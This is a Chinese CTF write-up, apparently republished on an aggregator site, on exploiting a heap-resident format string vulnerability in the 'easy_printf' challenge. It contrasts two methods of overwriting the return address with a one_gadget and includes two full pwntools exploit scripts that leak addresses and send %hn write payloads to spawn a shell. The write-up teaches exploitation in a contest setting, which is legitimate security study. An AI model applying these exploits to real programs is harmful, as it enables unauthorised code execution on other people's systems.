浅谈非栈上格式化字符串

这篇具有很好参考价值的文章主要介绍了浅谈非栈上格式化字符串。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

浅谈非栈上格式化字符串

这里先浅分析修改返回地址的两种打法,分别是"诸葛连弩"和”四马分肥“

修改返回地址

本文例题 以陕西省赛easy_printf为主

浅谈非栈上格式化字符串

简单看一看程序 需要先过一个判断然后进入vuln

浅谈非栈上格式化字符串

进入后 有一个13次的循环 可以让我们操作

浅谈非栈上格式化字符串

第一步 肯定要先leak出栈地址 程序基地址和libc基地址

第二步 修改ret地址 改为one_gadget

关键讲第二步 如何修改

一、四马分肥

何为四马分肥?其实就是把要写的地址分成四部分 然后分布在栈中 一次性打入

如图所示:

浅谈非栈上格式化字符串

这三个位置被我们依次写入了ret地址 ret+2地址 ret+4地址 ret+6地址(这里省略了 因为高位通常都是0 是不需要修改的)看到这里 就可以很快的改写这些位置的数据 只要依次修改20 26 30的位置 便可以一次修改成功

那我们如何构造这样的栈呢?

首先,我们需要找一个三连指针和一个二连或者三连 这道题初始栈空间如下:

浅谈非栈上格式化字符串

我们先使用标点一 修改标点二的指向 使3710 -->3760 然后我们再修改标点二位置 也就是修改了3888为3708

先修改标点一 然后修改标点二的指向 使3710 -->3760 这时候 我们只需要通过修改第10个位置就能修改3888为3708 也就使3760-->3708

浅谈非栈上格式化字符串

然后我们再修改标点二位置 也就是修改了3888为3708 我们可以清楚的看到 这个位置已经被成功改成了 ret的地址

浅谈非栈上格式化字符串

接下来 我们改下一"马"

再使用标点一 修改标点二指向 使3710 -->3790 然后我们再修改标点二位置 也就是修改了3790 -->370a(3708+2)

这里就是 这一步修改完的最后样子 我们可以看到3790这个位置也已经被写成了 ret+2

浅谈非栈上格式化字符串

再一次使用标点一 修改标点二指向 使3710 -->37b0 然后我们再修改标点二位置 也就是修改了37b0 -->370c(3708+4)

我们看到这里已经看出 这其实已经完全改好了 我们只需要进行最后一步 简单的改写数据即可

浅谈非栈上格式化字符串

改好后的栈图:

浅谈非栈上格式化字符串

贴上exp:

# 四马分肥
from pwn import *
context(log_level='debug',arch='amd64',os='linux')    #arch='amd64',arch='i386'
elf = ELF('./pwn')

libc = ELF('./libc.so.6')


sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
it = lambda : p.interactive()
b=lambda :gdb.attach(p)
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
get_leaked_libc64_1 = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
get_leaked_libc32 = lambda :u32(p.recv(4))
get_leaked_libc64_2 = lambda :u64(p.recv(6).ljust(8, b'\x00')) 
get_canary = lambda:hex(int(rc(18),16)) 

flag=0
if flag:
    p = remote('node4.buuoj.cn',27526)
else:
    p = process('./pwn')
    b()


# 过判断
payload1="TokameinE_is_the_best_pwner\x00"
sa("Do you know who the best pwner is?",payload1)

# 泄露binary
sa("What do you want to say?",b'%9$p%29$p%8$p')
ru(b'0x')
vuln_42=int(p.recv(12),16)
binary_base=vuln_42-42-elf.symbols['vuln']
leak("binary_base",binary_base)

# 泄露libc_base
ru(b'0x')
start_240=int(p.recv(12),16)
libc_base=start_240-240-libc.sym['__libc_start_main']
leak("libc_base",libc_base)

# 泄露栈地址
ru(b'0x')
rbp_16=int(p.recv(12),16)
leak("rbp_16",rbp_16)

# one_gadget
one=[0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget=libc_base+one[0]
leak("one_gadget",one_gadget)


one_gadget_1 = one_gadget & 0xffff  # 后两位
one_gadget_2 = (one_gadget >> 16)& 0xffff # 往前推俩
one_gadget_3 = (one_gadget >> 32)& 0xffff # 再往前推两位
one_gadget_4 = (one_gadget >> 48)& 0xffff # 最前面两位

leak("one_gadget_1",one_gadget_1)
leak("one_gadget_2",one_gadget_2)
leak("one_gadget_3",one_gadget_3)
leak("one_gadget_4",one_gadget_4)


location=rbp_16-8

# 20位置
num_1=rbp_16+80
num= num_1 & 0xffff
location_1 = location & 0xffff
leak("num",num)
leak("location_1",location_1)


payload=b"%" + str(num).encode("utf-8") + b"c%8$hn"
sa("What do you want to say?",payload)
sleep(1)
payload=b"%" + str(location_1).encode("utf-8") + b"c%10$hn"
sa("What do you want to say?",payload)
sleep(1)


# 26位置
num_2=rbp_16+128
num= num_2 & 0xffff
location_2 = (location + 2)& 0xffff
leak("num",num)
leak("location_2",location_2)

payload=b"%" + str(num).encode("utf-8") + b"c%8$hn"
sa("What do you want to say?",payload)
sleep(1)
payload=b"%" + str(location_2).encode("utf-8") + b"c%10$hn"
sa("What do you want to say?",payload)
sleep(1)


# 30位置

num_3=rbp_16+160
num= num_3 & 0xffff
location_3= (location + 4)& 0xffff
leak("num",num)
leak("location_3",location_3)


payload=b"%" + str(num).encode("utf-8") + b"c%8$hn"
sa("What do you want to say?",payload)
sleep(1)
payload=b"%" + str(location_3).encode("utf-8") + b"c%10$hn"
sa("What do you want to say?",payload)
sleep(1)


payload = b"%" + str(one_gadget_1).encode("utf-8") +  b"c%20$hn" 
payload += b"%" + str(0x10000 + one_gadget_2 - one_gadget_1).encode("utf-8") + b"c%26$hn" 
payload += b"%" + str(0x10000 + one_gadget_3 - one_gadget_2).encode("utf-8") + b"c%30$hn"
sa("What do you want to say?",payload)
sleep(1)

sa("What do you want to say?",b'\x00') # 这里没啥意义
'''
应该是我环境问题 导致 最后会再发一次payload 为了严谨 可以在每个payload后面补上b'\x00'

						'''

# 四次没跑
for i in range(4):
  sa("What do you want to say?",b'Kee02p\x00')
it()

关于这种方法的一点点小思考

这种办法其实并不比常规的诸葛连弩的简单 感觉可能某些情况下 反而更加复杂 而且最后一次打的时候 很可能出现超过规定字节 造成溢出 然后出错 另外在改二链的时候 还可能出现因为占用某个栈位置 导致程序崩溃 但是他在一定特殊情况下可以进行 例如我们需要一次打某个地址的话 不能分开打的时候 他就发挥作用了

假如这个返回地址 不能被一个一个的改的时候 会利用跳转的时候 或者我们要改某个一直用的函数的got表的时候 可以一次性把got表改了 不会造成冲突

二、诸葛连弩

何为诸葛连弩?其实就是在一个地址上不断地改 认准他一个人狠打

这个是比较常见 也比较常规的打法 这里需要我们修改 三连指针来改变 第10个位置0c50的指向 第一次指向ret 然后我们直接修改第十个位置值
接着再修改三连指针 第二次0c50-->ret+2 然后修改
再接着第三次修改三连指针 第三次0c50-->ret+4 然后修改 一点点改ret的值 这就叫"认准他一个打"

如下例题演示可以对照如下内容

'''
content 就是我们要填的内容 也就是one_gadget
locatione 也就是我们的返回地址ret
location_1 填 content_1
location_2 填 content_2
依次对应
									'''
[+]	content_1--->0x5226
[+] content_2--->0xff84
[+] content_3--->0x7fc4
[+] content_4--->0x0
[+] location_1--->0xc48
[+] location_2--->0xc4a
[+] location_3--->0xc4c
[+] location_4--->0xc4e

初始栈空间如下:

浅谈非栈上格式化字符串

修改ret最低两位

​ 第一个printf 使0c50-->0c48

浅谈非栈上格式化字符串

​ 第二个printf 通过修改第十个位置修改0c48里存的内容 也就是修改为one_gadget的后两个字节

浅谈非栈上格式化字符串

修改ret次低两位

浅谈非栈上格式化字符串

修改ret次次低两位

浅谈非栈上格式化字符串

修改ret最高两位

​ 高两位都是0 不写也可以 这里省略

# 诸葛连弩
from pwn import *
context(log_level='debug',arch='amd64',os='linux')    #arch='amd64',arch='i386'
elf = ELF('./pwn')

libc = ELF('./libc.so.6')


sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
it = lambda : p.interactive()
b=lambda :gdb.attach(p)
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
get_leaked_libc64_1 = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
get_leaked_libc32 = lambda :u32(p.recv(4))
get_leaked_libc64_2 = lambda :u64(p.recv(6).ljust(8, b'\x00'))  # 普通泄露 当遇到 0a乱入的时候 或者其他没有0的情况
get_canary = lambda:hex(int(rc(18),16)) # 目前可以利用于格式化字符串的 leak

flag=0
if flag:
    p = remote('node4.buuoj.cn',27526)
else:
    p = process('./pwn')
    b()


# 过判断
payload1="TokameinE_is_the_best_pwner\x00"
sa("Do you know who the best pwner is?",payload1)

# 泄露binary
sa("What do you want to say?",b'%9$p%29$p%8$p')
ru(b'0x')
vuln_42=int(p.recv(12),16)
binary_base=vuln_42-42-elf.symbols['vuln']
leak("binary_base",binary_base)

# 泄露libc_base
ru(b'0x')
start_240=int(p.recv(12),16)
libc_base=start_240-240-libc.sym['__libc_start_main']
leak("libc_base",libc_base)

# 泄露栈地址
ru(b'0x')
rbp_16=int(p.recv(12),16)
leak("rbp_16",rbp_16)


# one_gadget

one=[0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget=libc_base+one[0]
leak("one_gadget",one_gadget)

one_gadget_1 = one_gadget & 0xffff  # 后两位
one_gadget_2 = (one_gadget >> 16)& 0xffff # 往前推俩
one_gadget_3 = (one_gadget >> 32)& 0xffff # 再往前推两位
one_gadget_4 = (one_gadget >> 48)& 0xffff # 最前面两位

leak("one_gadget_1",one_gadget_1)
leak("one_gadget_2",one_gadget_2)
leak("one_gadget_3",one_gadget_3)
leak("one_gadget_4",one_gadget_4)


# ret地址
ret=rbp_16-8
ret_1= ret & 0xffff
ret_2= (ret + 2)& 0xffff
ret_3= (ret + 4)& 0xffff
ret_4= (ret + 6)& 0xffff
leak("ret_1",ret_1)
leak("ret_2",ret_2)
leak("ret_3",ret_3)
leak("ret_4",ret_4)

'''
第一次
'''
# 打第八位为rbp_16-8 也就是改成了rbp
payload=b"%" + str(ret_1).encode("utf-8") + b"c%8$hn\x00"
sa("What do you want to say?",payload)
# 往第十个位置开始写one_gadget
payload=b"%" + str(one_gadget_1).encode("utf-8") + b"c%10$hn\x00"
sa("What do you want to say?",payload)


'''
第二次
'''
# 打第八位为rbp_16-8 也就是改成了rbp
payload=b"%" + str(ret_2).encode("utf-8") + b"c%8$hn\x00"
sa("What do you want to say?",payload)
# 往第十个位置开始写one_gadget
payload=b"%" + str(one_gadget_2).encode("utf-8") + b"c%10$hn\x00"
sa("What do you want to say?",payload)


'''
第三次
'''
payload=b"%" + str(ret_3).encode("utf-8") + b"c%8$hn\x00"
sa("What do you want to say?",payload)
# 往第十个位置开始写one_gadget
payload=b"%" + str(one_gadget_3).encode("utf-8") + b"c%10$hn\x00"
sa("What do you want to say?",payload)


# '''
# 第四次
# '''

# payload=b"%" + str(ret_4).encode("utf-8") + b"c%8$hn\x00"
# sa("What do you want to say?",payload)
# # 往第十个位置开始写one_gadget
# payload=b"%" + str(one_gadget_4).encode("utf-8") + b"c%10$hn\x00"
# sa("What do you want to say?",payload)

sa("What do you want to say?",b'\x00') 
'''
这里环境好像有问题 机器会自己再重复打一次最后的 而且会接上这个内容 
补\x00 让他自己再改一次 其实没啥意义
										'''
# 五次没跑
for i in range(5):
  sa("What do you want to say?",b'Kee02p\x00')


p.interactive()

关于诸葛连弩的一点思考

比较常规 也容易理解 但是如果程序 一旦出了循环 或者需要使用你改的那块地址的时候 这种方法就会崩溃 因为他需要分很多次 对一个地址 逐位进行改动

感谢

该文章方法学习于国资师傅

https://www.freebuf.com/vuls/284210.html
https://www.bilibili.com/video/BV1mr4y1Y7fW/?p=32&spm_id_from=pageDriver&vd_source=123d02421ca4cdb59802724ced16b46e文章来源地址https://www.toymoban.com/news/detail-626795.html

到了这里,关于浅谈非栈上格式化字符串的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 格式化字符串你都懂了吗

    今天跟大家聊聊字 符串的格式化 这部分内容。乍一听“ 格式化 ”这三个字,有的初学者可能会懵:难道这是要清空字符串的节奏? 其实不是的,恰恰相反,格式化字符串是为了让字符串变的更美观、更灵活。接下来就给大家详细介绍格式化字符串的概念以及具体用法。 格

    2024年02月04日
    浏览(26)
  • Python字符串格式化 (%操作符)

    在许多编程语言中都包含有格式化字符串的功能,比如C和Fortran语言中的格式化输入输出。在Python中内置有对字符串进行格式化的操作符是\\\"%\\\"。 模板 格式化字符串时,Python使用一个字符串作为模板。模板中有格式符,这些格式符为真实值预留位置,并说明真实数值应该呈现的

    2024年02月14日
    浏览(21)
  • Python 用户输入和字符串格式化指南

    Python 允许用户输入数据。这意味着我们可以向用户询问输入。在 Python 3.6 中,使用 input() 方法来获取用户输入。在 Python 2.7 中,使用 raw_input() 方法来获取用户输入。以下示例要求用户输入用户名,并在输入用户名后将其打印在屏幕上: Python 3.6: Python 2.7: 为了确保字符串按预

    2024年02月05日
    浏览(32)
  • 格式化字符串走过的坑 pwn109

    格式化字符串走过的坑 pwn109 今天做的一道题有一个坑我调试半天终于打通了,格式化字符串的坑,确实不少,东西也比较多容易忘记,怎么说呢,功夫在平时,经验少了 老规矩先看一下保护 Full RELRO意味着got不能修改也就是不能通过格式化字符串漏洞来改got表,但是nx保护关

    2024年04月08日
    浏览(24)
  • Godot 4 源码分析 - 增加格式化字符串功能

    Godot 4的主要字符串类型为String,已经设计得比较完善了,但有一个问题,格式化这块没怎么考虑。 String中有一个format函数,但这个函数只有两个参数,这咋用? 查找使用例子,都是这种效果 一看就懵。哪里有之前用的带%s %d...之类的格式化用得舒服。 动手实现一个 提供s

    2024年02月14日
    浏览(17)
  • Java工具类——json字符串格式化处理

    在我们拿到一团未经格式化的json字符串时,非常不方便查看,比如这样 因此随手写了个工具类用来格式化json。注意,原json字符串必须语法无误,并且不包含换行、空格、缩进等,否则会保留下来。 ok废话不多说上代码 运行后效果

    2024年01月17日
    浏览(26)
  • Pandas中的字符串和时间转换与格式化

    Pandas 提供了若干个函数来格式化时间。 其中,最常用的是 to_datetime() 函数。 可以使用 to_datetime() 函数将一个字符串解析为时间,并指定字符串的格式。例如: 输出: 还可以使用 strftime() 函数将时间格式化为字符串。例如: 输出: 如果想要格式化某一列中的时间,可以使用

    2024年02月04日
    浏览(20)
  • Python中格式化字符串输出的4种方式

    Python格式化字符串的4中方式 一、%号 二、str.format(args) 三、f-Strings 四、标准库模板 五、总结四种方式的应用场景’ 一、%号占位符 这是一种引入最早的一种,也是比较容易理解的一种方式.使用方式为: 1、格式化字符串中变化的部分使用占位符 2、变量以元组形式提供 3、变

    2024年02月06日
    浏览(27)
  • 【每日挠头算法题(5)】重新格式化字符串|压缩字符串

    点我直达~ 1.遍历字符串,将数字字符和字母字符分别放在不同的字符串 2.如果|字母字符数量 - 数字字符数量| 1 ,则无法实现格式化,返回\\\"\\\" 3.如果不是2.中的情况,则偶数为字符必须放数量多的字符串对应的字符(下标从0开始)。 将数量多的字符串对应的字符和数量少的字

    2024年02月08日
    浏览(22)
  • [ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

    在缓冲区溢出漏洞利用基础上,理解如何进行格式化字符串漏洞利用。 C语言中的printf()函数用于根据格式打印出字符串,使用由printf()函数的%字符标记的占位符,在打印期间填充数据。格式化字符串的使用不仅限于printf()函数;其他函数,例如sprintf()、fprintf() 和scanf(),也使

    2024年02月06日
    浏览(29)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包